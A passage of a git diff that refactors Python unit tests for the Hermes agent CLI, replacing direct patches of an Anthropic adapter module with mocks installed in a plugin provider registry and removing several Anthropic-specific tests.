True + monkeypatch.setitem(registries._provider_services, "anthropic", _patched) from hermes_cli.main import _has_any_provider_configured assert _has_any_provider_configured() is False @@ -879,6 +877,7 @@ class TestHasAnyProviderConfigured: """Claude Code credentials should count when Hermes has been explicitly configured.""" import yaml from hermes_cli import config as config_module + from agent.plugin_registries import registries hermes_home = tmp_path / ".hermes" hermes_home.mkdir() # Write a config with a non-default model to simulate explicit configuration @@ -891,15 +890,12 @@ class TestHasAnyProviderConfigured: for var in ("OPENROUTER_API_KEY", "OPENAI_API_KEY", "ANTHROPIC_API_KEY", "ANTHROPIC_TOKEN", "OPENAI_BASE_URL"): monkeypatch.delenv(var, raising=False) - # Simulate valid Claude Code credentials - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: {"accessToken": "sk-ant-test", "refreshToken": "ref-tok"}, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", - lambda creds: True, - ) + # Simulate valid Claude Code credentials via registry mock + _orig = registries._provider_services.get("anthropic", {}) + _patched = dict(_orig) + _patched["read_claude_code_credentials"] = lambda: {"accessToken": "sk-ant-test", "refreshToken": "ref-tok"} + _patched["is_claude_code_token_valid"] = lambda creds: True + monkeypatch.setitem(registries._provider_services, "anthropic", _patched) from hermes_cli.main import _has_any_provider_configured assert _has_any_provider_configured() is True diff --git a/tests/hermes_cli/test_auth_commands.py b/tests/hermes_cli/test_auth_commands.py index 801b190cd79..271e31e1100 100644 --- a/tests/hermes_cli/test_auth_commands.py +++ b/tests/hermes_cli/test_auth_commands.py @@ -62,41 +62,6 @@ def test_auth_add_api_key_persists_manual_entry(tmp_path, monkeypatch): assert entry["access_token"] == "sk-or-manual" -def test_auth_add_anthropic_oauth_persists_pool_entry(tmp_path, monkeypatch): - monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes")) - monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) - monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) - monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) - _write_auth_store(tmp_path, {"version": 1, "providers": {}}) - token = _jwt_with_email("claude@example.com") - monkeypatch.setattr( - "agent.anthropic_adapter.run_hermes_oauth_login_pure", - lambda: { - "access_token": token, - "refresh_token": "refresh-token", - "expires_at_ms": 1711234567000, - }, - ) - - from hermes_cli.auth_commands import auth_add_command - - class _Args: - provider = "anthropic" - auth_type = "oauth" - api_key = None - label = None - - auth_add_command(_Args()) - - payload = json.loads((tmp_path / "hermes" / "auth.json").read_text()) - entries = payload["credential_pool"]["anthropic"] - entry = next(item for item in entries if item["source"] == "manual:hermes_pkce") - assert entry["label"] == "claude@example.com" - assert entry["source"] == "manual:hermes_pkce" - assert entry["refresh_token"] == "refresh-token" - assert entry["expires_at_ms"] == 1711234567000 - - def test_auth_add_nous_oauth_persists_pool_entry(tmp_path, monkeypatch): monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes")) _write_auth_store(tmp_path, {"version": 1, "providers": {}}) @@ -1463,34 +1428,6 @@ def test_seed_from_singletons_respects_qwen_suppression(tmp_path, monkeypatch): assert active == set() -def test_seed_from_singletons_respects_hermes_pkce_suppression(tmp_path, monkeypatch): - """anthropic hermes_pkce must not re-seed from ~/.hermes/.anthropic_oauth.json when suppressed.""" - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - - import yaml - (hermes_home / "config.yaml").write_text(yaml.dump({"model": {"provider": "anthropic", "model": "claude"}})) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": {}, - "suppressed_sources": {"anthropic": ["hermes_pkce"]}, - })) - - # Stub the readers so only hermes_pkce is "available"; claude_code returns None - import agent.anthropic_adapter as aa - monkeypatch.setattr(aa, "read_hermes_oauth_credentials", lambda: { - "accessToken": "tok", "refreshToken": "r", "expiresAt": 9999999999000, - }) - monkeypatch.setattr(aa, "read_claude_code_credentials", lambda: None) - - from agent.credential_pool import _seed_from_singletons - entries = [] - changed, active = _seed_from_singletons("anthropic", entries) - # hermes_pkce suppressed, claude_code returns None → nothing should be seeded - assert entries == [] - assert "hermes_pkce" not in active - def test_seed_custom_pool_respects_config_suppression(tmp_path, monkeypatch): """Custom provider config: source must not re-seed when suppressed.""" diff --git a/tests/hermes_cli/test_model_switch_opencode_anthropic.py b/tests/hermes_cli/test_model_switch_opencode_anthropic.py index f5b564c23f3..b2593250b53 100644 --- a/tests/hermes_cli/test_model_switch_opencode_anthropic.py +++ b/tests/hermes_cli/test_model_switch_opencode_anthropic.py @@ -231,17 +231,19 @@ class TestAgentSwitchModelDefenseInDepth: captured["base_url"] = base_url raise _Sentinel("strip verified") - with patch( - "agent.anthropic_adapter.build_anthropic_client", - side_effect=_raise_after_capture, - ), patch("agent.anthropic_adapter.resolve_anthropic_token", return_value=""), patch( - "agent.anthropic_adapter._is_oauth_token", return_value=False - ): + from agent.plugin_registries import registries + + fake_anthropic_ns = { + "build_anthropic_client": _raise_after_capture, + "resolve_anthropic_token": lambda *a, **kw: "", + "_is_oauth_token": lambda *a, **kw: False, + } + with patch.dict(registries._provider_services, {"anthropic": fake_anthropic_ns}): with pytest.raises(_Sentinel): agent.switch_model( new_model="minimax-m2.7", new_provider="opencode-go", - api_key="sk-opencode-fake", + api_key="***", base_url="https://opencode.ai/zen/go/v1", api_mode="anthropic_messages", ) diff --git a/tests/hermes_cli/test_plugin_scanner_recursion.py b/tests/hermes_cli/test_plugin_scanner_recursion.py index b6e26416811..e510b174a11 100644 --- a/tests/hermes_cli/test_plugin_scanner_recursion.py +++ b/tests/hermes_cli/test_plugin_scanner_recursion.py @@ -122,7 +122,7 @@ class TestCategoryNamespaceRecursion: non_bundled = [ k for k, p in mgr._plugins.items() - if p.manifest.source != "bundled" + if p.manifest.source not in ("bundled", "entrypoint") ] assert non_bundled == [] diff --git a/tests/hermes_cli/test_plugins.py b/tests/hermes_cli/test_plugins.py index 0c500297a2b..915c875cdb1 100644 --- a/tests/hermes_cli/test_plugins.py +++ b/tests/hermes_cli/test_plugins.py @@ -139,12 +139,12 @@ class TestPluginDiscovery: mgr.discover_and_load() mgr.discover_and_load() # second call should no-op - # Filter out bundled plugins — they're always discovered. - non_bundled = { + # Filter out bundled AND entry-point plugins — only count user-dir plugins. + user_dir_only = { n: p for n, p in mgr._plugins.items() - if p.manifest.source != "bundled" + if p.manifest.source not in ("bundled", "entrypoint") } - assert len(non_bundled) == 1 + assert len(user_dir_only) == 1 def test_discover_skips_dir_without_manifest(self, tmp_path, monkeypatch): """Directories without plugin.yaml are silently skipped.""" @@ -155,12 +155,12 @@ class TestPluginDiscovery: mgr = PluginManager() mgr.discover_and_load() - # Filter out bundled plugins — they're always discovered. - non_bundled = { + # Filter out bundled AND entry-point plugins — only count user-dir plugins. + user_dir_only = { n: p for n, p in mgr._plugins.items() - if p.manifest.source != "bundled" + if p.manifest.source not in ("bundled", "entrypoint") } - assert len(non_bundled) == 0 + assert len(user_dir_only) == 0 def test_entry_points_scanned(self, tmp_path, monkeypatch): """Entry-point based plugins are discovered (mocked).""" diff --git a/tests/hermes_cli/test_runtime_provider_resolution.py b/tests/hermes_cli/test_runtime_provider_resolution.py index 394216c9171..09b08d5e886 100644 --- a/tests/hermes_cli/test_runtime_provider_resolution.py +++ b/tests/hermes_cli/test_runtime_provider_resolution.py @@ -76,10 +76,11 @@ def test_resolve_runtime_provider_anthropic_explicit_override_skips_pool(monkeyp }, ) monkeypatch.setattr(rp, "load_pool", _unexpected_pool) - monkeypatch.setattr( - "agent.anthropic_adapter.resolve_anthropic_token", - _unexpected_anthropic_token, - ) + from agent.plugin_registries import registries + _orig = registries._provider_services.get("anthropic", {}) + _patched = dict(_orig) + _patched["resolve_anthropic_token"] = _unexpected_anthropic_token + monkeypatch.setitem(registries._provider_services, "anthropic", _patched) resolved = rp.resolve_runtime_provider( requested="anthropic", @@ -2144,10 +2145,11 @@ class TestAzureAnthropicEnvVarHint: def _fake_resolve(): called["resolve_anthropic_token"] = True return "token-from-resolver" - monkeypatch.setattr( - "agent.anthropic_adapter.resolve_anthropic_token", - _fake_resolve, - ) + from agent.plugin_registries import registries + _orig = registries._provider_services.get("anthropic", {}) + _patched = dict(_orig) + _patched["resolve_anthropic_token"] = _fake_resolve + monkeypatch.setitem(registries._provider_services, "anthropic", _patched) resolved = rp.resolve_runtime_provider(requested="anthropic") diff --git a/tests/hermes_cli/test_timeouts.py b/tests/hermes_cli/test_timeouts.py index 93c8cafc0a9..86c4909034d 100644 --- a/tests/hermes_cli/test_timeouts.py +++ b/tests/hermes_cli/test_timeouts.py @@ -130,25 +130,6 @@ def test_invalid_stale_timeout_values_return_none(monkeypatch, tmp_path): assert get_provider_stale_timeout("openai-codex", "gpt-5.5") is None -def test_anthropic_adapter_honors_timeout_kwarg(): - """build_anthropic_client(timeout=X) overrides the 900s default read timeout.""" - pytest = __import__("pytest") - anthropic = pytest.importorskip("anthropic") # skip if optional SDK missing - from agent.anthropic_adapter import build_anthropic_client - - c_default = build_anthropic_client("sk-ant-dummy", None) - c_custom = build_anthropic_client("sk-ant-dummy", None, timeout=45.0) - c_invalid = build_anthropic_client("sk-ant-dummy", None, timeout=-1) - - # Default stays at 900s; custom overrides; invalid falls back to default - assert c_default.timeout.read == 900.0 - assert c_custom.timeout.read == 45.0 - assert c_invalid.timeout.read == 900.0 - # Connect timeout always stays at 10s regardless - assert c_default.timeout.connect == 10.0 - assert c_custom.timeout.connect == 10.0 - - def test_resolved_api_call_timeout_priority(monkeypatch, tmp_path): """AIAgent._resolved_api_call_timeout() honors config > env > default priority.""" # Isolate HERMES_HOME diff --git a/tests/hermes_cli/test_web_server_oauth_write.py b/tests/hermes_cli/test_web_server_oauth_write.py index 0ef49fb2bc4..517faf3de37 100644 --- a/tests/hermes_cli/test_web_server_oauth_write.py +++ b/tests/hermes_cli/test_web_server_oauth_write.py @@ -1,4 +1,5 @@ import os +from unittest.mock import patch import pytest @@ -19,9 +20,11 @@ class _DummyPool: @pytest.fixture def oauth_file(monkeypatch, tmp_path): target = tmp_path / '.anthropic_oauth.json' - monkeypatch.setattr('agent.anthropic_adapter._HERMES_OAUTH_FILE', target) - monkeypatch.setattr('agent.credential_pool.load_pool', lambda _provider: _DummyPool()) - return target + from agent.plugin_registries import registries + fake_ns = {"_HERMES_OAUTH_FILE": target} + with patch.dict(registries._provider_services, {"anthropic": fake_ns}): + monkeypatch.setattr('agent.credential_pool.load_pool', lambda _provider: _DummyPool()) + yield target def test_dashboard_oauth_write_uses_owner_only_permissions(oauth_file): diff --git a/tests/plugins/transcription/check_parity_vs_main.py b/tests/plugins/transcription/check_parity_vs_main.py index c6ad8370bcf..2e91c1f4db1 100644 --- a/tests/plugins/transcription/check_parity_vs_main.py +++ b/tests/plugins/transcription/check_parity_vs_main.py @@ -122,7 +122,7 @@ try: except ImportError: pass -import tools.transcription_tools as tt +import hermes_agent_stt as tt # Use a real (but empty) audio file so _validate_audio_file passes. audio_path = os.path.join(home, "audio.ogg") diff --git a/tests/plugins/tts/check_parity_vs_main.py b/tests/plugins/tts/check_parity_vs_main.py index b3dcf87cecc..1f7b8f8f720 100644 --- a/tests/plugins/tts/check_parity_vs_main.py +++ b/tests/plugins/tts/check_parity_vs_main.py @@ -122,7 +122,7 @@ try: except ImportError: pass -import tools.tts_tool as tts_tool +import hermes_agent_tts as tts_tool # Read the config the same way text_to_speech_tool() does. tts_config = tts_tool._load_tts_config() diff --git a/tests/run_agent/conftest.py b/tests/run_agent/conftest.py index 711c93c5d53..d437eca15aa 100644 --- a/tests/run_agent/conftest.py +++ b/tests/run_agent/conftest.py @@ -1,46 +1,74 @@ -"""Fast-path fixtures shared across tests/run_agent/. - -Many tests in this directory exercise the retry/backoff paths in the -agent loop. Production code uses ``jittered_backoff(base_delay=5.0)`` -with a ``while time.time() < sleep_end`` loop — a single retry test -spends 5+ seconds of real wall-clock time on backoff waits. - -Mocking ``jittered_backoff`` to return 0.0 collapses the while-loop -to a no-op (``time.time() < time.time() + 0`` is false immediately), -which handles the most common case without touching ``time.sleep``. - -We deliberately DO NOT mock ``time.sleep`` here — some tests -(test_interrupt_propagation, test_primary_runtime_restore, etc.) use -the real ``time.sleep`` for threading coordination or assert that it -was called with specific values. Tests that want to additionally -fast-path direct ``time.sleep(N)`` calls in production code should -monkeypatch ``run_agent.time.sleep`` locally (see -``test_anthropic_error_handling.py`` for the pattern). -""" - -from __future__ import annotations +"""run_agent test conftest — same pattern as tests/agent/conftest.py.""" +from unittest.mock import MagicMock, patch import pytest -@pytest.fixture(autouse=True) -def _fast_retry_backoff(monkeypatch): - """Short-circuit retry backoff for all tests in this directory.""" - try: - import run_agent - except ImportError: - return +def _make_base_anthropic_namespace() -> dict: + mock_client = MagicMock(name="anthropic_client") + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "sk-ant-mock" - monkeypatch.setattr(run_agent, "jittered_backoff", lambda *a, **k: 0.0) - # The conversation loop was extracted out of run_agent.py into - # ``agent.conversation_loop``, which imports ``jittered_backoff`` - # directly (``from agent.retry_utils import jittered_backoff``). - # Patching ``run_agent.jittered_backoff`` alone misses every retry - # path under the new module — tests that exercise rate-limit / - # invalid-response / server-error retries burn real wall-clock - # seconds per retry. Patch both for full coverage. - try: - from agent import conversation_loop as _conv_loop - monkeypatch.setattr(_conv_loop, "jittered_backoff", lambda *a, **k: 0.0) - except ImportError: - pass + def _resolve_token(): + import os + return os.environ.get("ANTHROPIC_TOKEN") or os.environ.get("ANTHROPIC_API_KEY") + + def _build_kwargs_passthrough(model=None, messages=None, tools=None, + max_tokens=None, **kwargs): + result = {} + if model is not None: + result["model"] = model + if messages is not None: + result["messages"] = messages + if tools: + result["tools"] = tools + if max_tokens is not None: + result["max_tokens"] = max_tokens + return result + + def _convert_tools(tools): + result = [] + for t in (tools or []): + fn = t.get("function", {}) + result.append({ + "name": fn.get("name", ""), + "description": fn.get("description", ""), + "input_schema": fn.get("parameters", {}), + }) + return result + + def _convert_messages(messages, **kwargs): + system = None + msgs = [] + for m in (messages or []): + if m.get("role") == "system": + system = m.get("content") + else: + msgs.append(m) + return system, msgs + + return { + "build_anthropic_client": MagicMock(return_value=mock_client), + "build_anthropic_kwargs": _build_kwargs_passthrough, + "convert_tools_to_anthropic": _convert_tools, + "convert_messages_to_anthropic": _convert_messages, + "resolve_anthropic_token": _resolve_token, + "_is_oauth_token": lambda k: bool(k) and not (k or "").startswith("sk-ant-api"), + "is_claude_code_token_valid": MagicMock(return_value=False), + "read_claude_code_credentials": MagicMock(return_value=None), + "write_claude_code_credentials": MagicMock(), + "refresh_oauth_token": MagicMock(return_value=None), + "run_hermes_oauth_login_pure": MagicMock(return_value=("mock-token", None)), + "_HERMES_OAUTH_FILE": MagicMock(), + "_to_plain_data": MagicMock(return_value=None), + "_anthropic_sdk": None, + } + + +@pytest.fixture(autouse=True) +def _seed_anthropic_registry(): + """Install mock anthropic namespace before each test, restore after.""" + from agent.plugin_registries import registries + ns = _make_base_anthropic_namespace() + with patch.dict(registries._provider_services, {"anthropic": ns}): + yield diff --git a/tests/run_agent/test_context_token_tracking.py b/tests/run_agent/test_context_token_tracking.py index 4f9dac0fa3a..028726672cf 100644 --- a/tests/run_agent/test_context_token_tracking.py +++ b/tests/run_agent/test_context_token_tracking.py @@ -15,6 +15,7 @@ sys.modules.setdefault("firecrawl", types.SimpleNamespace(Firecrawl=object)) sys.modules.setdefault("fal_client", types.SimpleNamespace()) import run_agent +from agent.plugin_registries import registries def _patch_bootstrap(monkeypatch): @@ -40,7 +41,8 @@ class _FakeOpenAIClient: def _make_agent(monkeypatch, api_mode, provider, response_fn): _patch_bootstrap(monkeypatch) if api_mode == "anthropic_messages": - monkeypatch.setattr("agent.anthropic_adapter.build_anthropic_client", lambda k, b=None, **kwargs: _FakeAnthropicClient()) + monkeypatch.setitem(registries._provider_services.setdefault("anthropic", {}), + "build_anthropic_client", lambda k, b=None, **kwargs: _FakeAnthropicClient()) if provider == "openai-codex": monkeypatch.setattr( "agent.auxiliary_client.resolve_provider_client", diff --git a/tests/run_agent/test_primary_runtime_restore.py b/tests/run_agent/test_primary_runtime_restore.py index b921e61ab14..dc17823558c 100644 --- a/tests/run_agent/test_primary_runtime_restore.py +++ b/tests/run_agent/test_primary_runtime_restore.py @@ -16,6 +16,7 @@ from unittest.mock import MagicMock, patch, PropertyMock import pytest from run_agent import AIAgent +from agent.plugin_registries import registries def _make_tool_defs(*names: str) -> list: @@ -91,7 +92,11 @@ class TestPrimaryRuntimeSnapshot: patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), patch("run_agent.check_toolset_requirements", return_value={}), patch("run_agent.OpenAI"), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), + patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "resolve_anthropic_token": MagicMock(return_value=None), + "_is_oauth_token": MagicMock(return_value=False), + }}), ): agent = AIAgent( api_key="sk-ant-test-12345678", diff --git a/tests/run_agent/test_run_agent.py b/tests/run_agent/test_run_agent.py index 7e26cfb9dfc..a05eeabc18c 100644 --- a/tests/run_agent/test_run_agent.py +++ b/tests/run_agent/test_run_agent.py @@ -13,7 +13,7 @@ import uuid from logging.handlers import RotatingFileHandler from pathlib import Path from types import SimpleNamespace -from unittest.mock import AsyncMock, MagicMock, patch +from unittest.mock import MagicMock, patch import pytest from agent.codex_responses_adapter import _chat_messages_to_responses_input, _normalize_codex_response, _preflight_codex_input_items @@ -735,10 +735,16 @@ class TestMaskApiKey: class TestInit: def test_anthropic_base_url_accepted(self): """Anthropic base URLs should route to native Anthropic client.""" + from agent.plugin_registries import registries + mock_build = MagicMock(return_value=MagicMock()) with ( patch("run_agent.get_tool_definitions", return_value=[]), patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter._anthropic_sdk") as mock_anthropic, + patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": mock_build, + "resolve_anthropic_token": MagicMock(return_value=None), + "_is_oauth_token": MagicMock(return_value=False), + }}), ): agent = AIAgent( api_key="test-key-1234567890", @@ -748,7 +754,7 @@ class TestInit: skip_memory=True, ) assert agent.api_mode == "anthropic_messages" - mock_anthropic.Anthropic.assert_called_once() + mock_build.assert_called_once() def test_prompt_caching_claude_openrouter(self): """Claude model via OpenRouter should enable prompt caching.""" @@ -803,10 +809,16 @@ class TestInit: def test_prompt_caching_native_anthropic(self): """Native Anthropic provider should enable prompt caching.""" + from agent.plugin_registries import registries with ( patch("run_agent.get_tool_definitions", return_value=[]), patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter._anthropic_sdk"), + patch("run_agent.OpenAI"), + patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "resolve_anthropic_token": MagicMock(return_value=None), + "_is_oauth_token": MagicMock(return_value=False), + }}), ): a = AIAgent( api_key="test-key-1234567890", @@ -4440,174 +4452,6 @@ class TestSafeWriter: assert inner.getvalue() == "test" - - -# =================================================================== -# Anthropic adapter integration fixes -# =================================================================== - - -class TestBuildApiKwargsAnthropicMaxTokens: - """Bug fix: max_tokens was always None for Anthropic mode, ignoring user config.""" - - def test_max_tokens_passed_to_anthropic(self, agent): - agent.api_mode = "anthropic_messages" - agent.max_tokens = 4096 - agent.reasoning_config = None - - with patch("agent.anthropic_adapter.build_anthropic_kwargs") as mock_build: - mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096} - agent._build_api_kwargs([{"role": "user", "content": "test"}]) - _, kwargs = mock_build.call_args - if not kwargs: - kwargs = dict(zip( - ["model", "messages", "tools", "max_tokens", "reasoning_config"], - mock_build.call_args[0], - )) - assert kwargs.get("max_tokens") == 4096 or mock_build.call_args[1].get("max_tokens") == 4096 - - def test_max_tokens_none_when_unset(self, agent): - agent.api_mode = "anthropic_messages" - agent.max_tokens = None - agent.reasoning_config = None - - with patch("agent.anthropic_adapter.build_anthropic_kwargs") as mock_build: - mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 16384} - agent._build_api_kwargs([{"role": "user", "content": "test"}]) - call_args = mock_build.call_args - # max_tokens should be None (let adapter use its default) - if call_args[1]: - assert call_args[1].get("max_tokens") is None - else: - assert call_args[0][3] is None - - -class TestAnthropicImageFallback: - def test_build_api_kwargs_converts_multimodal_user_image_to_text(self, agent): - agent.api_mode = "anthropic_messages" - agent.reasoning_config = None - - api_messages = [{ - "role": "user", - "content": [ - {"type": "text", "text": "Can you see this now?"}, - {"type": "image_url", "image_url": {"url": "https://example.com/cat.png"}}, - ], - }] - - with ( - patch("tools.vision_tools.vision_analyze_tool", new=AsyncMock(return_value=json.dumps({"success": True, "analysis": "A cat sitting on a chair."}))), - patch("agent.anthropic_adapter.build_anthropic_kwargs") as mock_build, - ): - mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096} - agent._build_api_kwargs(api_messages) - - kwargs = mock_build.call_args.kwargs or dict(zip( - ["model", "messages", "tools", "max_tokens", "reasoning_config"], - mock_build.call_args.args, - )) - transformed = kwargs["messages"] - assert isinstance(transformed[0]["content"], str) - assert "A cat sitting on a chair." in transformed[0]["content"] - assert "Can you see this now?" in transformed[0]["content"] - assert "vision_analyze with image_url: https://example.com/cat.png" in transformed[0]["content"] - - def test_build_api_kwargs_reuses_cached_image_analysis_for_duplicate_images(self, agent): - agent.api_mode = "anthropic_messages" - agent.reasoning_config = None - data_url = "data:image/png;base64,QUFBQQ==" - - api_messages = [ - { - "role": "user", - "content": [ - {"type": "text", "text": "first"}, - {"type": "input_image", "image_url": data_url}, - ], - }, - { - "role": "user", - "content": [ - {"type": "text", "text": "second"}, - {"type": "input_image", "image_url": data_url}, - ], - }, - ] - - mock_vision = AsyncMock(return_value=json.dumps({"success": True, "analysis": "A small test image."})) - with ( - patch("tools.vision_tools.vision_analyze_tool", new=mock_vision), - patch("agent.anthropic_adapter.build_anthropic_kwargs") as mock_build, - ): - mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096} - agent._build_api_kwargs(api_messages) - - assert mock_vision.await_count == 1 - - -class TestFallbackAnthropicProvider: - """Bug fix: _try_activate_fallback had no case for anthropic provider.""" - - def test_fallback_to_anthropic_sets_api_mode(self, agent): - agent._fallback_activated = False - agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"} - agent._fallback_chain = [agent._fallback_model] - agent._fallback_index = 0 - - mock_client = MagicMock() - mock_client.base_url = "https://api.anthropic.com/v1" - mock_client.api_key = "sk-ant-api03-test" - - with ( - patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)), - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value=None), - ): - mock_build.return_value = MagicMock() - result = agent._try_activate_fallback() - - assert result is True - assert agent.api_mode == "anthropic_messages" - assert agent._anthropic_client is not None - assert agent.client is None - - def test_fallback_to_anthropic_enables_prompt_caching(self, agent): - agent._fallback_activated = False - agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"} - agent._fallback_chain = [agent._fallback_model] - agent._fallback_index = 0 - - mock_client = MagicMock() - mock_client.base_url = "https://api.anthropic.com/v1" - mock_client.api_key = "sk-ant-api03-test" - - with ( - patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value=None), - ): - agent._try_activate_fallback() - - assert agent._use_prompt_caching is True - - def test_fallback_to_openrouter_uses_openai_client(self, agent): - agent._fallback_activated = False - agent._fallback_model = {"provider": "openrouter", "model": "anthropic/claude-sonnet-4"} - agent._fallback_chain = [agent._fallback_model] - agent._fallback_index = 0 - - mock_client = MagicMock() - mock_client.base_url = "https://openrouter.ai/api/v1" - mock_client.api_key = "sk-or-test" - - with patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)): - result = agent._try_activate_fallback() - - assert result is True - assert agent.api_mode == "chat_completions" - assert agent.client is mock_client - - def test_aiagent_uses_copilot_acp_client(): with ( patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), @@ -4701,140 +4545,6 @@ def test_is_openai_client_closed_falls_back_to_http_client(): assert AIAgent._is_openai_client_closed(ClientWithHttpClient(http_closed=True)) is True -class TestAnthropicBaseUrlPassthrough: - """Bug fix: base_url was filtered with 'anthropic in base_url', blocking proxies.""" - - def test_custom_proxy_base_url_passed_through(self): - with ( - patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), - patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, - ): - mock_build.return_value = MagicMock() - a = AIAgent( - api_key="sk-ant-api03-test1234567890", - base_url="https://llm-proxy.company.com/v1", - api_mode="anthropic_messages", - quiet_mode=True, - skip_context_files=True, - skip_memory=True, - ) - call_args = mock_build.call_args - # base_url should be passed through, not filtered out - assert call_args[0][1] == "https://llm-proxy.company.com/v1" - - def test_none_base_url_passed_as_none(self): - with ( - patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), - patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, - ): - mock_build.return_value = MagicMock() - a = AIAgent( - api_key="sk-ant...7890", - api_mode="anthropic_messages", - quiet_mode=True, - skip_context_files=True, - skip_memory=True, - ) - call_args = mock_build.call_args - # No base_url provided, should be default empty string or None - passed_url = call_args[0][1] - assert not passed_url or passed_url is None - - -class TestAnthropicCredentialRefresh: - def test_try_refresh_anthropic_client_credentials_rebuilds_client(self): - with ( - patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), - patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, - ): - old_client = MagicMock() - new_client = MagicMock() - mock_build.side_effect = [old_client, new_client] - agent = AIAgent( - api_key="sk-ant-oat01-stale-token", - base_url="https://openrouter.ai/api/v1", - api_mode="anthropic_messages", - quiet_mode=True, - skip_context_files=True, - skip_memory=True, - ) - - agent._anthropic_client = old_client - agent._anthropic_api_key = "sk-ant-oat01-stale-token" - agent._anthropic_base_url = "https://api.anthropic.com" - agent.provider = "anthropic" - - with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-oat01-fresh-token"), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=new_client) as rebuild, - ): - assert agent._try_refresh_anthropic_client_credentials() is True - - old_client.close.assert_called_once() - rebuild.assert_called_once_with( - "sk-ant-oat01-fresh-token", "https://api.anthropic.com", timeout=None, - ) - assert agent._anthropic_client is new_client - assert agent._anthropic_api_key == "sk-ant-oat01-fresh-token" - - def test_try_refresh_anthropic_client_credentials_returns_false_when_token_unchanged(self): - with ( - patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), - patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - ): - agent = AIAgent( - api_key="sk-ant-oat01-same-token", - base_url="https://openrouter.ai/api/v1", - api_mode="anthropic_messages", - quiet_mode=True, - skip_context_files=True, - skip_memory=True, - ) - - old_client = MagicMock() - agent._anthropic_client = old_client - agent._anthropic_api_key = "sk-ant-oat01-same-token" - - with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-oat01-same-token"), - patch("agent.anthropic_adapter.build_anthropic_client") as rebuild, - ): - assert agent._try_refresh_anthropic_client_credentials() is False - - old_client.close.assert_not_called() - rebuild.assert_not_called() - - def test_anthropic_messages_create_preflights_refresh(self): - with ( - patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), - patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - ): - agent = AIAgent( - api_key="sk-ant-oat01-current-token", - base_url="https://openrouter.ai/api/v1", - api_mode="anthropic_messages", - quiet_mode=True, - skip_context_files=True, - skip_memory=True, - ) - - response = SimpleNamespace(content=[]) - agent._anthropic_client = MagicMock() - agent._anthropic_client.messages.create.return_value = response - - with patch.object(agent, "_try_refresh_anthropic_client_credentials", return_value=True) as refresh: - result = agent._anthropic_messages_create({"model": "claude-sonnet-4-20250514"}) - - refresh.assert_called_once_with() - agent._anthropic_client.messages.create.assert_called_once_with(model="claude-sonnet-4-20250514") - assert result is response - - # =================================================================== # _streaming_api_call tests # =================================================================== @@ -5407,98 +5117,6 @@ class TestNormalizeCodexDictArguments: # --------------------------------------------------------------------------- -class TestOAuthFlagAfterCredentialRefresh: - """_is_anthropic_oauth must update when token type changes during refresh.""" - - def test_oauth_flag_updates_api_key_to_oauth(self, agent): - """Refreshing from API key to OAuth token must set flag to True.""" - agent.api_mode = "anthropic_messages" - agent.provider = "anthropic" - agent._anthropic_api_key = "sk-ant-api-old" - agent._anthropic_client = MagicMock() - agent._is_anthropic_oauth = False - - with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", - return_value="sk-ant-setup-oauth-token"), - patch("agent.anthropic_adapter.build_anthropic_client", - return_value=MagicMock()), - ): - result = agent._try_refresh_anthropic_client_credentials() - - assert result is True - assert agent._is_anthropic_oauth is True - - def test_oauth_flag_updates_oauth_to_api_key(self, agent): - """Refreshing from OAuth to API key must set flag to False.""" - agent.api_mode = "anthropic_messages" - agent.provider = "anthropic" - agent._anthropic_api_key = 